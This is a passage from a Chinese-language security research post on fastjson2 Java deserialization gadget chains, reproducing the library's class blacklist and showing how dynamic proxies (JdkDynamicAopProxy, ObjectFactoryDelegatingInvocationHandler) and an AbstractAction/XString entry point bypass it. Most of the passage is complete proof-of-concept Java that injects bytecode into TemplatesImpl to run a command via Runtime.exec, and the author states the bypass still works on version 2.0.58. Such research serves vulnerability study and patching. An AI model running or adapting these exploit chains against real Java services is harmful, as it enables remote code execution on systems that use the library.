if (var1_1.isIgnoreNoneSerializable(var15_14)) break block22;
var14_12 = var1_1.isRefDetect();
if (!var14_12) ** GOTO lbl-1000
if (var2_2 == var15_14) {
this.fieldWriter1.writeFieldName(var1_1);
var1_1.writeReference("..");
} else {
var13_13 = var1_1.setPath(this.fieldWriter1, (Object)var15_14);
if (var13_13 != null) {
this.fieldWriter1.writeFieldName(var1_1);
var1_1.writeReference(var13_13);
var1_1.popPath(var15_14);
} else lbl-1000:
// 2 sources
{
this.fieldWriter1.writeFieldName(var1_1);
this.fieldWriter1.getObjectWriter(var1_1, var15_14.getClass()).write(var1_1, var15_14, "stylesheetDOM", this.fieldWriter1.fieldType, 0L);
}
}
break block22;
}
if ((var8_6 &amp; 16L) != 0L) {
this.fieldWriter1.writeFieldName(var1_1);
var1_1.writeNull();
}
}
if ((var16_15 = ((TemplatesImpl)var2_2).getTransletIndex()) != 0 || var10_7 == false) {
this.fieldWriter2.writeInt32(var1_1, var16_15);
}
var1_1.endObject();

在这个部分代码中,我们可以看到调用了对应的三个getter方法,顺序是getOutputProperties() => getStylesheetDOM() => getTransletIndex()

从而达到通过调用getter方法获取到对应field值的效果。

至此,在可行版本下序列化的过程调试分析完毕。

绕过限制再次达成攻击

那么官方在2.0.27版本下在哪些方面做了限制导致前面的链子不能执行呢,修改fastjson2的版本来探究一下:

1
2
3
4
5
6
<!-- <https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2> -->
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.27</version>
</dependency>

那么在新的修复中做了哪些改变呢,再次过了一遍了流程,主要做出的改变就是在BeanUtils类的getters()方法中加了一个黑名单:

image

从前面的调试分析中知道BeanUtils#getters()就是一个处理类中的method的非常关键的方法,前后流程对比可以在2.0.27版本中是多了如图的这几行代码,对传参的objectClass进行了判断,也就是对要序列化的类进行了处理,只要符合条件就直接退出了流程的继续,跟进这个ignore()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static boolean ignore(Class objectClass) {
if (objectClass == null) {
return true;
}
String name = objectClass.getName();
switch (name) {
case "javassist.CtNewClass":
case "javassist.CtNewNestedClass":
case "javassist.CtClass":
case "javassist.CtConstructor":
case "javassist.CtMethod":
case "org.apache.ibatis.javassist.CtNewClass":
case "org.apache.ibatis.javassist.CtClass":
case "org.apache.ibatis.javassist.CtConstructor":
case "org.apache.ibatis.javassist.CtMethod":
case "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet":
case "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl":
case "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl":
case "org.apache.wicket.util.io.DeferredFileOutputStream":
case "org.apache.xalan.xsltc.trax.TemplatesImpl":
case "org.apache.xalan.xsltc.runtime.AbstractTranslet":
case "org.apache.xalan.xsltc.trax.TransformerFactoryImpl":
case "org.apache.commons.collections.functors.ChainedTransformer":
return true;
default:
break;
}
return false;
}

很容易看出这里就是添加了一个黑名单,其中过滤了一些非常关键的如TemplatesImpl、AbstractTranslet类,由于我们传参的类为TemplatesImpl类,匹配到这里的逻辑,导致直接return退出,不会再进行后续的操作。

但是这里还是可以通过动态代理来绕过。

JdkDynamicAopProxy链

这里使用到的类就是JdkDynamicAopProxy类,需要有spring-aop依赖:

1
2
3
4
5
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.3.19</version>
</dependency>

我们在jackson不稳定性绕过以及SpringAOP链中都使用到了这个类,是一个功能非常强大的类,这里主要的思路就是利用jackson解决不稳定性的方法来分析利用(个人认为fastjson2不会存在这个不稳定性,因为在成功创建了所有的fieldWriterMap后,还会调用Collections.sort()进行排序,故应该不会存在先后问题错误导致直接退出),然后这里讲讲这里的JdkDynamicAopProxy类的利用点:

这里主要利用的是它的invoke()方法,基本构造就是最初学习时的格式:

image

在这里主要的利用点就是如下代码:

image

只要可控这里的target,并且控制chain为空,那么就可以调用到AopUtils类的invokeJoinpointUsingReflection方法:

image

那么恰巧的是,这些参数是可控的,并且在SpringAOP链的学习中,可以知道我们需要调用AdvisedSupport类addAdvisor()方法来给其变量advisors赋值从而可以满足后续的条件从而可以让这里的chain不为空进入else语句进而继续后续链子的调用,那么在这里正如jackson那个的解决方法一样,直接默认即可让变量advisors为空从而直接让chain为空从而进入if语句,所以只需要控制targetSource.getTarget()返回值对应即可,而这里的AdvisedSupport类有好用的方法:

image

直接用这里的SingletonTargetSource类即可。所以只要在代理对象调用到getOutputProperties(),就会进入到这里的invoke()方法,并且控制getTarget()返回对象为构造好的TemplatesImpl类即可。

简单思路就是如上,并且和jackson调用链绕过的流程可以说非常像,现在我们就需要注意调用fastjson序列化时的过程了,这里我们会利用到动态代理,先来简单看一个本地demo:

image

可以看到对代理类调用getClass()的结果为class com.sun.proxy.$Proxy0,并且再调用getMethods()时的结果是从接口中获取到的方法,也就是Templates.class接口类的中的方法。

所以思路其实很清晰了,这里的proxy又不在黑名单里面,又可以获取到想利用的getter方法,又可以控制TempltesImpl类,所以简单的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
jsonObject.toString();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

运行弹出计算机。然后在分析调试的过程中,发现还是和自己分析的过程不一样,重点在BeanUtils#getter()中,如下:

image

这里很容易看出来就是判断这里是否为代理类,如果是的话就获取接口然后再次调用getter方法,当时简单跟了一下以为会判定为false,结果差点就功亏一篑呀,根据调试继续跟进:

跟进isProxyClass()方法:

image

前面会判定为true不奇怪,proxyClassCache变量定义如下:

image

想当然以为containsValue()方法就是看是否包含对应的值,其实并不是,这里会包含,代码比较简单就不跟进了,还是要看类中的代码呀。故这里会进入到if语句中获取对应代理类的接口:

image

后续的过程基本就清楚了,就是让objectClass变为了Templates.class,再次调用getter方法,幸好黑名单里面没有Templates.class,也就对应上了参考文章里说Templates.class没有上黑名单由此想出的这个绕过,然后获取其Method,然后创建fieldWriterMap并调用wirte()方法进行序列化从而触发到JdkDynamicAopProxy类的invoke()方法从而进行命令执行:

image

但是在这里的Proxy.isProxyClass()的判断中,可以注意到这里的if条件。要求interfaces只能为一个,那么我是否可以让interfaces为两个或更多,来让objectClass不会改变,从而在proxy.getClass().getMethods()这里来获取到对应方法并进行后续处理呢,简单尝试如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class,AutoCloseable.class}, handler);
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
jsonObject.toString();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

运行同样可以弹出计算机。我这里是在接口处加了一个AutoCloseable.class,让接口获取不再是一个:

image

从而在ignore()判断中返回false:

image

从而继续后续调用链的进行来调用到write()方法。所以从这里来看,至少需要同时ban掉Templates和com.sun.proxy.$Proxy0才能完全禁止反序列化调用链的进行,看后面绕过还用不用得到。

经测试到目前最新的2.0.58版本都能使用只有Templates.class的链子打,就看后续会怎么修复吧。

并且后面版本的fastjson的黑名单变成了hash值计算的结果,而且加密逻辑都在代码中有体现。

最后可以用来序列化攻击的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field field = bad.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(bad, jsonObject);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

并且两个接口类的也可以用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class,AutoCloseable.class}, handler);
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field field = bad.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(bad, jsonObject);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

ObjectFactoryDelegatingInvocationHandler+JSONObject链

这个类是一个内部类,实现了InvocationHandler和Serializable两个接口,在spring-beans依赖中,而spring-aop中本身就拉入了spring-beans依赖:

image

所以也是可以说spring中都能打的。

跟进这个类的invoke()方法:

image

非常清晰了,只是需要代理类调用getOutputProperties,这个好解决,代理类设置Templates.class接口即可,再看一下是否有可利用的ObjectFactory类,这是一个接口类,但是并没有合适的重写的方法,但是看参考文章,利用了JSONObject类的invoke()方法:

image

这个类也能被代理,跟进它的invoke()方法:

image

先获取方法名,然后方法参数个数,后续跟进的代码应该是如下:

image

可以知道参数个数为0,然后对getter方法进行处理,然后调用get()方法来进行获取值:

image

跟进发现其实就是LinkedHashMap中取值,直接往里面放入一个键值对即可。

最后的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.beans.factory.ObjectFactory;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
//第一个JSONObject代理
JSONObject jsonObject0 = new JSONObject();
jsonObject0.put("object",templates);
Object proxy0 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{ObjectFactory.class},(InvocationHandler)jsonObject0);
//第二个代理
Constructor constructor = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").getDeclaredConstructor(ObjectFactory.class);
constructor.setAccessible(true);
Object proxy1 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Templates.class},(InvocationHandler)constructor.newInstance(proxy0));
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxy1);
//toString
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field field = bad.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(bad, jsonObject);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

运行在反序列化时弹出计算机,并且调试符合前面的过程。

同样是可以使用两个接口来进行前面所述的利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.beans.factory.ObjectFactory;
import javax.management.MBeanServer;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
//第一个SONObject代理
JSONObject jsonObject0 = new JSONObject();
jsonObject0.put("object",templates);
Object proxy0 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{ObjectFactory.class},(InvocationHandler)jsonObject0);
//第二个代理
Constructor constructor = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").getDeclaredConstructor(ObjectFactory.class);
constructor.setAccessible(true);
Object proxy1 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Templates.class,AutoCloseable.class},(InvocationHandler)constructor.newInstance(proxy0));
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxy1);
//toString
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field field = bad.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(bad, jsonObject);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

这样就同样需要ban掉Templates和com.sun.proxy.$Proxy1才能完全限制。

同样在最新版本2.0.58也能打。

非常好的绕过方式,可惜大部分情况应该都是只能在spring下打,当然如参考文章一样,还可以尝试打没ban的类,而不是就磕TemplatesImpl,比如我的c3p0分析文章就有一个反序列化打jndi。

新的反序列化toString入口类

基本说明

在先知文章看到的一个新的入口点:

https://xz.aliyun.com/news/18467

文中提到的链子如下:

1
2
3
4
javax.swing.AbstractAction#readObject ->
javax.swing.AbstractAction#putValue ->
javax.swing.AbstractAction#firePropertyChange ->
com.sun.org.apache.xpath.internal.objects.XString#equals

所以这里只是换了一个入口类而已,但是这里的一个思想非常好,当HashMap、Hashtable、HashSet等类都被ban了可以来用这个类(注意后续链子的类是否被ban,这些都是需要考虑的),但是都绕不开一个点就是XString,先来跟一下基本的链子:

AbstractAction类的readObject()方法:

image

再跟进putValue()方法:

image

再看firePropertyChange()方法:

image

很明显了,这里就是要让oldValue为为String,让newValue为例如JSONObject这种要利用其toString方法的类。

再看writeObject()方法:

image

整个过程都是与arrayTable变量相关的:

image

由于实现了transient,故在writeObject()方法中实现了对这个变量的序列化。并且与反序列化时的putValue()也是对应的。

基本过程已经清楚,现在来尝试构造。

尝试构造

首先可以看到AbstractAction是一个抽象类,不能直接序列化,需要找它的实现类来作为入口点:

image

这里就直接同参考文章一样用AlignmentAction类作为入口,这里应该第二个ActivateLinkAction应该也可以用,具体就到时候看有无黑名单吧。

来看AlignmentAction的构造函数:

image

这里会一直向上传递String类型的nm参数,直到AbstractAction类的“实例化”:

image

NAME变量定义如下:

image

故这里会在实例化时就放进去一个键值对。

这里有一个不得不说的逻辑,且看慢慢道来,先看AbstractAction类的putValue()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public void putValue(String key, Object newValue) {
Object oldValue = null;
if (key == "enabled") {
if (newValue == null || !(newValue instanceof Boolean)) {
newValue = false;
}
oldValue = enabled;
enabled = (Boolean)newValue;
} else {
if (arrayTable == null) {
arrayTable = new ArrayTable();
}
if (arrayTable.containsKey(key))
oldValue = arrayTable.get(key);
// Remove the entry for key if newValue is null
// else put in the newValue for key.
if (newValue == null) {
arrayTable.remove(key);
} else {
arrayTable.put(key,newValue);
}
}
firePropertyChange(key, oldValue, newValue);
}

毫无疑问这里主要的逻辑就是:

1
2
3
arrayTable = new ArrayTable();
arrayTable.put(key,newValue);
firePropertyChange(key, oldValue, newValue);

也就是放入键值对并进行比较的问题。从代码逻辑可以看出,每次putValue后都会调用一次firePropertyChange()方法:

image

这里有一个非常关键的逻辑:**||(逻辑或),也就是只要左边为true,右边就不会再进行计算,整个条件就会被判定为真。所以在序列化前放入键值对无影响,但是反序列化时需要有这个变量,故我在序列化前调用反射修改值**即可,并且什么,还可以防止在序列化前第二次调用putValue()方法放进值时触发euqlas()方法从而弹出计算机,原因很好理解了就不多说了。

跟进changeSupport变量的定义:

image

找到对应的SwingPropertyChangeSupport类:

image

故我反射修改变量changeSupport为这个类实例即可。

并且在putValue()方法的代码逻辑中,可以看到要是newValue == null,arrayTable就会删除对应的键值对,所以其实虽然“实例化”时放入了一个键值对,我们这里通过调用putValue("Name",null)直接删除即可。

故可以简单尝试构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javax.xml.transform.Templates;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.swing.text.StyledEditorKit;
import javax.swing.event.SwingPropertyChangeSupport;
import java.util.HashMap;
public class Main{
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
XString xstring = new XString("fupanc1233");
StyledEditorKit.AlignmentAction alignmentAction = new StyledEditorKit.AlignmentAction("123",1);
alignmentAction.putValue("Name",null);
alignmentAction.putValue("fupanc1",xstring);
alignmentAction.putValue("fupanc2",jsonObject);
//任意可序列化的类作为参数都行
HashMap hashMap = new HashMap();
SwingPropertyChangeSupport swingPropertyChangeSupport = new SwingPropertyChangeSupport(hashMap);
setFieldValue(alignmentAction,"changeSupport", swingPropertyChangeSupport);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(alignmentAction);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
